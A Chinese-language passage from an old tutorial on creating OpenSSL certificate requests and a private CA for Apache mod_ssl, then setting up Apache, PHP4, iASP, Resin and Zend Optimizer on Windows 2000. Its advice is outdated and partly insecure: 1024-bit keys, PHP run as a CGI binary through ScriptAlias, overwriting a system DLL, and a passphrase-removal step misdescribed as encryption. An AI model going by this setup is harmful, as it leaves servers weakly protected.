当OpenSSL提示你“CommonName”时,确保你输入了服务器的FQDN("Fully Qualified Domain Name") ,即,当你为一个以后用https://www.foo.dom/访问的网站生成一个CSR时,这里输入"www.foo.dom"。你可借助下列命令查看该CSR的细节:
# openssl req -noout -text -in server.csr
将CSR发到一个CA
现在你必须发送该CSR到一个CA以便签署,然后的结果才是可以用于Apache的一个真正的证书。
有两种选择:
第一种,你可以通过一个商业性CA如Verisign 或 Thawte签署证书。那么你通常要将CSR贴入一个web表格,支付签署费用并等待签署的证书,然后你可以把它存在一个server.crt文件中。关于商业性CA的更多信息,请参见下列链接:
Verisign - http://digitalid.verisign.com/server/apacheNotice.htm
Thawte Consulting - http://www.thawte.com/certs/server/request.html
CertiSign Certificadora Digital Ltda. - http://www.certisign.com.br
IKS GmbH - http://www.iks-jena.de/produkte/ca /
Uptime Commerce Ltd. - http://www.uptimecommerce.com
BelSign NV/SA - http://www.belsign.be
你自己的CA
第二种,你可以利用自己的CA并由该CA签署CSR。你可以创建自己的认证中心来签署证书。最简单的方法是利用OpenSSL提供的CA.sh或 CA.pl脚本。比较复杂而且是手工的方法是:
为你的CA创建一个RSA私用密钥( 被Triple-DES加密并且进行PEM格式化的):
# openssl genrsa -des3 -out ca.key 1024
请在安全的地方备份这个ca.key文件。记住你输入的通行短语(pass phrase)!你可以通过下面的命令看到这个RSA私用密钥的细节。
# openssl rsa -noout -text -in ca.key
而且你可以为这个RSA私用密钥创建一个加密的PEM版本(不推荐),通过下列命令:
# openssl rsa -in ca.key -out ca.key.unsecure
利用CA的RSA密钥创建一个自签署的CA证书(X509结构)(输出将是PEN格式的):
# openssl req -new -x509 -days 365 -key ca.key -out ca.crt
你可以通过下列命令查看该证书的细节:
# openssl x509 -noout -text -in ca.crt
准备一个签署所需的脚本,因为"openssl ca"命令有一些奇怪的要求而且缺省的OpenSSL配置不允许简单地直接使用"openssl ca"命令,所以一个名为sign.sh的脚本随mod_ssl分发一道发布(子目录pkg.contrib/)。 使用该脚本进行签署。
现在你可以使这个CA签署服务器的CSR,以便创建用于Apache服务器内部的真正的SSL证书(假定你手头已经有一个server.csr):
# ./sign.sh server.csr
它签署服务器的CSR并且结果在一个server.crt文件中。
现在你有两个文件:server.ket和server.crt。在你的Apache的httpd.conf文件中,如下使用它们:
SSLCertificateFile /path/to/this/server.crt
SSLCertificateKeyFile /path/to/this/server.key
server.csr不再需要了。
Win2000ADV+apache+php+asp+jsp
【一】首先下载软件:
(apache) 我用的是在华军软件园下载的apache_1.3.26-win32-x86-no_src!!
(jdk!) 在首页上面就有连接。
(php4) 不用多说了code-labs上面就有也可以去php的官方网站看看!!
(iasp) 最重要的一个软件了——————————————————————————————————
【二】安装apache
1、双击apache的安装文件,和普通windows程序安装一样,一路点“next”就可以。
2、安装程序要求你输入你的network domain(网络域名:形如xxx.com);server domain(服务器域名:形www.xxx.com)和网站管理员的e-mail。有的话就按实填写,个人用户若没有的话可以按格式随便填一下。
3、到了选择安装路径,本人强烈建议你将安装路径改为“c:\”,因为这样可以省去好多的配置麻烦。 4、一路“next”直至“finish”。安装就结束了。
这时,你的apache已经启动了,你可以在ie地址栏里输入:http://localhost/或http://127.0.0.1看看。在“管理工具”的“服务”项中,也可以找到apache服务的身影了,以后apache就可以作为一项windows2000服务,随着机器的启动而运行了!
------------------------------------------------------------------------------
【三】配置apache
打开配置文件主要修改的项目是:
(1)、查找documentroot。这个语句指定你的网站路径,也就是你主页放置的目录。你可以使用默认的,也可以自己指定一个,但记住,这句末尾不要加“/”。
(2)、寻找到directoryindex。这就是你站点第一个显示的主页,在index.html的后面加入index.htm index.php index.php3 index.cgi index.pl index.asp等等。注意,每种类型之间都要留一空格!
(3)、特别说明一点就是port(端口号),如果没安装iis的话,就保持80不要变,否则,就要改一下(因为iis的web服务占据了80),可以改成81等等,或者干脆改iis的默认端口号!随你高兴。
(4).#bindaddress * 改为 bindaddress 127.0.0.1(用记事本打开/然后点编辑/查找)
其他都是以后深入使用是才要配置的项目了!安装完毕后运行http://localhost/
就可以看见apache的帮助文件了!
-----------------------------------------------------------------------------
【四】安装xxx(注意这个最主要的了)(关闭apache服务)
(1)、下面安装php首先安装php到c:\php4 (别改路径了!否则以后的配置....哼哼)我用的是php的4.0.2版,
(2)、接下来就要拷贝msvcrt.dll到c:\winnt\system32\下面系统就回提示所文件正在被windows使用了,不要紧正常现象!覆盖任何原有文件。
(3)、把 c:\php.ini-dist改名为php.ini,拷贝到c:\winnt下,
(4)、好了现在打开apache的配置文件httpd.conf增加下面的语句:(随便什么地方都可以,但要单独成行)
scriptalias /php4/ "c:/php4/"
addtype application/x-httpd-php4 .php
addtype application/x-httpd-php4 .php3
addtype application/x-httpd-php4 .php4
action application/x-httpd-php4 "/php4/php.exe"
directoryindex index.html
directoryindex index.htm
directoryindex index.php
directoryindex index.php3
directoryindex index.php4
directoryindex index.asp
(5)、接下来修改php.ini文件
找到windows extensions项:增加
extension_dir = c:\php4
extension=php_zlib.dll
extension =php_ldap.dll
extension =php_zlib.dll
extension =php_calendar.dll
extension =php_exif.dll
extension =php_ftp.dll
extension =php_mssql70.dll (这一项不要加,没有mssql7.0呀)
extension =php_imap.dll
■ok存盘ko■
在你的documentroot的目录下建立test.php文件
<?phpinfo();?>
ok看见php的测试页面了!!至此php的配置已经完成了!
下面安装jdk也是进行默认安装就可以了!之后在windows的环境变量里面增加path变量值c:\j2sdk*\bin(*:不同版本的安装路径名不同)
好了下面安装iasp使用默认安装就可以了!在安装过程后软件会提示你进行web server的设置首先选择:
instant asp native servlet surport 选项接下来选择apache server
之后要求你选择apche的版本号和httpd.conf的路径选择好后系统自动进行配置如果一切顺利就可以测试了!!
建立test.asp
<%response.write("hell world!")%>
现在运行http://localhost/test.asp,看到helloworld!好了一切搞定有可以使用apache了!!!
------------------------------------------------------------------------
【五】、上面说到了windows+apache+php+asp的运行环境了今天来说说在这个基础上使apache也可以支持jsp的运行。
1:所需软件resin(resin2.1.4)resin http://www.caochu.com
下面说说怎么安装:
resin在下载后是.zip文件只要简单的解压缩到指定的目录就可以了这里我使用的是c:\resin-ee-2.1.4 利用命令 c:\resin-ee-2.1.4\bin\httpd.exe -install(remove)将resin作为win2000的一个service
ok!下面找到win2000的环境变量"控制面板-->系统-->高级-->环境变量“
增加变量"resin_home"变量值"c:\resin-ee-2.1.4"如果你已经安装了 jdk那么就不需要设置什么了!没有的话就看看的我的上一篇文章!!!ok向下~~
现在修改apache的设置文件httpd.conf假如下面的代码:
loadmodule caucho_module c:/resin-ee-2.1.4/libexec/apache-1.3/mod_caucho.dll
addmodule mod_caucho.c
cauchohost localhost 6802
addhandler caucho-request jsp
<location /servlet/*>
sethandler caucho-request
</location>
修改resin的配置文件c:\resin-ee-2.1.4\conf\resin.conf
找到这一行:<app-dir>doc</app-dir>
改成:<app-dir>(你的apache的documentroot默认是apache/htdocs/</app-dir>
重起 apache and resin
在你的web root 目录下建立test.jsp内容如下:
<%@ page language=javascript %>
2 + 2 = <%= 2 + 2 %>
在浏览器中执行http://localhost/test.jsp
如果看见了2+2=4,那么恭喜你了你成功使apache和resin 结合到一起了!
剩下的就是数据库的问题了等等在写吧!
【六】、php的优化(可有可无)
安装zend optimizer(zend优化器)
zend optimizer(以下简称zo)用优化代码的方法来提高php 4.0应用程序的执行速度。实现的原理是对那些在被最终执行之前由运行编译器(run-time compiler)产生的代码进行优化。
一般情况下,执行使用zo的php程序比不使用的要快40%到100%。这意味着网站的访问者可以更快的浏览网页,从而完成更多的事务,创造更好的客户满意度。
1、终止apache服务,并且一定要使用zo的windows版(一定要记住)
2、 把zendoptimizer.dll拷贝到这个目录
c:\zendoptimizer
3、 把下列行加入php.ini,不要加入任何空格
zend_optimizer.optimization_level=15
zend_extension_ts="zo的安装目录\zendoptimizer.dll"
4、重启apache。
重新运行刚才已编好的test.php程序!可以发现多了一行:
with zend optimizer v1.0.0, copyright (c) 1998-2000, by zend technologies
这表示zo已经安装成功!!
如果你担心自己辛辛苦苦编写的php代码外泻的话!可以考虑使用zend encoder,它可以将php程序加以编码後执行,但是2400美元的软件费用也实在是太高!!(不过可以免费试用30天)